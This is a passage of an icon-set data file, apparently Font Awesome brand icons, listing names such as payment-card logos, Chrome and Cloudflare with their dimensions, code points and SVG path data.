9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z"],
	"cc-apple-pay": [576, 512, [], "f416", "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"],
	"cc-diners-club": [576, 512, [], "f24c", "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"],
	"cc-discover": [576, 512, [], "f1f2", "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"],
	"cc-jcb": [576, 512, [], "f24b", "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"],
	"cc-mastercard": [576, 512, [], "f1f1", "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"],
	"cc-paypal": [576, 512, [], "f1f4", "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"],
	"cc-stripe": [576, 512, [], "f1f5", "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"],
	"cc-visa": [576, 512, [], "f1f0", "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"],
	"centercode": [512, 512, [], "f380", "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"],
	"centos": [448, 512, [], "f789", "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"],
	"chrome": [496, 512, [], "f268", "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z"],
	"chromecast": [512, 512, [], "f838", "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"],
	"cloudflare": [640, 512, [], "e07d", "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"],
	"cloudscale": [448, 512, [], "f383", "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"],
	"cloudsmith": [332, 512, [], "f384", "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z"],
	"cloudversify": [616, 512, [], "f385", "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"],
	"codepen": [512, 512, [], "f1cb", "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"],
	"codiepie": [472, 512, [], "f284", "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"],
	"confluence": [512, 512, [], "f78d", "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"],
